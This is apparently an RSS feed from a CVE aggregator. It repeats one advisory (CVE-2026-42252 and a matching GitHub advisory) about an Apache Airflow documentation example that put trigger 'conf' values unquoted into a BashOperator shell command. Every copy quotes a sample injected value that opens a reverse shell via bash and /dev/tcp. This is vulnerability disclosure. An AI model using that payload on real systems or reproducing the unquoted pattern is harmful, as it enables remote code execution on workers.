https://cve.radiocsirt.org Contains only the most 10 recent entries. http://www.rssboard.org/rss-specification python-feedgen en Mon, 05 Oct 2026 19:42:57 +0000 https://cve.radiocsirt.org/vuln/cve-2026-42252 <p><strong>Affected:</strong> Apache Software Foundation Apache Airflow</p> <p>Apache Airflow&#39;s official documentation at `core-concepts/dag-run.html` (&#34;Passing Parameters when triggering Dags&#34;) showed a verbatim `BashOperator(bash_command=&#34;echo value: {{ dag_run.conf[&#39;conf1&#39;] }}&#34;)` example without any quoting / sanitization warning. Dag authors who copied the pattern verbatim into deployments where users had `Dag.can_trigger` permission on the affected Dag (typical multi-team deployments, hosted offerings exposing a trigger API) could be exposed to shell-metacharacter injection via the `conf` field of the trigger API: an authenticated trigger user could supply `&#34;; bash -i &gt;&amp; /dev/tcp/.../9999 0&gt;&amp;1; #&#34;` as a `conf` value and reach an `os.exec` on the worker. This CVE covers the documentation correction in `apache/airflow` PR 64129 — the pattern in the docs example now includes explicit shell-quoting and a safety caveat. Affects deployments whose Dag code was modeled on the pre-correction docs example. Same class as the prior CVE-2025-50213 and CVE-2025-27018 documentation-pattern fixes. Users are advised to upgrade to `apache-airflow` 3.2.2 or later to pick up the corrected documentation shipped with the release.</p> <p><strong>Affected:</strong> Apache Software Foundation Apache Airflow</p> <p>Apache Airflow&#39;s official documentation at `core-concepts/dag-run.html` (&#34;Passing Parameters when triggering Dags&#34;) showed a verbatim `BashOperator(bash_command=&#34;echo value: {{ dag_run.conf[&#39;conf1&#39;] }}&#34;)` example without any quoting / sanitization warning. Dag authors who copied the pattern verbatim into deployments where users had `Dag.can_trigger` permission on the affected Dag (typical multi-team deployments, hosted offerings exposing a trigger API) could be exposed to shell-metacharacter injection via the `conf` field of the trigger API: an authenticated trigger user could supply `&#34;; bash -i &gt;&amp; /dev/tcp/.../9999 0&gt;&amp;1; #&#34;` as a `conf` value and reach an `os.exec` on the worker. This CVE covers the documentation correction in `apache/airflow` PR 64129 — the pattern in the docs example now includes explicit shell-quoting and a safety caveat. Affects deployments whose Dag code was modeled on the pre-correction docs example. Same class as the prior CVE-2025-50213 and CVE-2025-27018 documentation-pattern fixes. Users are advised to upgrade to `apache-airflow` 3.2.2 or later to pick up the corrected documentation shipped with the release.</p> https://cve.radiocsirt.org/vuln/cve-2026-42252 https://cve.radiocsirt.org/vuln/ghsa-c85c-g9wv-pph2 <p><strong>Affected:</strong> PyPI: apache-airflow</p> <p>Apache Airflow&#39;s official documentation at `core-concepts/dag-run.html` (&#34;Passing Parameters when triggering Dags&#34;) showed a verbatim `BashOperator(bash_command=&#34;echo value: {{ dag_run.conf[&#39;conf1&#39;] }}&#34;)` example without any quoting / sanitization warning. Dag authors who copied the pattern verbatim into deployments where users had `Dag.can_trigger` permission on the affected Dag (typical multi-team deployments, hosted offerings exposing a trigger API) could be exposed to shell-metacharacter injection via the `conf` field of the trigger API: an authenticated trigger user could supply `&#34;; bash -i &gt;&amp; /dev/tcp/.../9999 0&gt;&amp;1; #&#34;` as a `conf` value and reach an `os.exec` on the worker. This CVE covers the documentation correction in `apache/airflow` PR 64129 — the pattern in the docs example now includes explicit shell-quoting and a safety caveat. Affects deployments whose Dag code was modeled on the pre-correction docs example. Same class as the prior CVE-2025-50213 and CVE-2025-27018 documentation-pattern fixes. Users are advised to upgrade to `apache-airflow` 3.2.2 or later to pick up the corrected documentation shipped with the release.</p> <p><strong>Affected:</strong> PyPI: apache-airflow</p> <p>Apache Airflow&#39;s official documentation at `core-concepts/dag-run.html` (&#34;Passing Parameters when triggering Dags&#34;) showed a verbatim `BashOperator(bash_command=&#34;echo value: {{ dag_run.conf[&#39;conf1&#39;] }}&#34;)` example without any quoting / sanitization warning. Dag authors who copied the pattern verbatim into deployments where users had `Dag.can_trigger` permission on the affected Dag (typical multi-team deployments, hosted offerings exposing a trigger API) could be exposed to shell-metacharacter injection via the `conf` field of the trigger API: an authenticated trigger user could supply `&#34;; bash -i &gt;&amp; /dev/tcp/.../9999 0&gt;&amp;1; #&#34;` as a `conf` value and reach an `os.exec` on the worker. This CVE covers the documentation correction in `apache/airflow` PR 64129 — the pattern in the docs example now includes explicit shell-quoting and a safety caveat. Affects deployments whose Dag code was modeled on the pre-correction docs example. Same class as the prior CVE-2025-50213 and CVE-2025-27018 documentation-pattern fixes. Users are advised to upgrade to `apache-airflow` 3.2.2 or later to pick up the corrected documentation shipped with the release.</p> https://cve.radiocsirt.org/vuln/ghsa-c85c-g9wv-pph2